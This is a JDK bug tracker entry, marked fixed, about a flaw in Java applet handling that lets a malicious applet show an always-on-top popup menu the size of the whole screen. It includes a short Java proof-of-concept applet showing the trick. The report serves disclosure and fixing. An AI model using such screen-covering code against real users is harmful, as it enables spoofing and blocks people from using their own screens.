Uploaded image for project: 'JDK'
  1. JDK
  2. JDK-6691503

Malicious applet can show always-on-top popup menu which has whole screen size

XMLWordPrintable

    • Icon: Bug Bug
    • Resolution: Fixed
    • Icon: P3 P3
    • 7
    • 7
    • client-libs
    • None
    • b27
    • generic
    • generic

      There is an oversight in the fix for 6675802. It allows a malicious applet to show an always-on-top popup menu which has the whole screen size. A code example is below:
      === Source Begin ===
      import javax.swing.*;
      import java.awt.*;

      public class MaliciousApplet extends JApplet {
          public void start() {
              JPopupMenu popupMenu = new JPopupMenu();
              popupMenu.add(new JMenuItem("Click"));

              Dimension screenSize = Toolkit.getDefaultToolkit().getScreenSize();
              popupMenu.setPopupSize(screenSize);

              popupMenu.show(null, 0, 0);
          }
      }
      === Source End ===

            mlapshin Mikhail Lapshin (Inactive)
            mlapshin Mikhail Lapshin (Inactive)
            Votes:
            0 Vote for this issue
            Watchers:
            0 Start watching this issue

              Created:
              Updated:
              Resolved:
              Imported:
              Indexed: